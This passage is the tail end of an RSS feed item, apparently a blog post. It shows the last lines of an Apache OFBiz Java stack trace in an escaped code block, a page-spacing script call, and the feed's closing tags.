	at org.apache.ofbiz.webapp.control.RequestHandler.doRequest(RequestHandler.java:465) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.control.ControlServlet.doGet(ControlServlet.java:217) [ofbiz.jar:?]
	at org.apache.ofbiz.webapp.control.ControlServlet.doPost(ControlServlet.java:91) [ofbiz.jar:?]
&lt;/code&gt;&lt;/pre&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
  </channel>
</rss>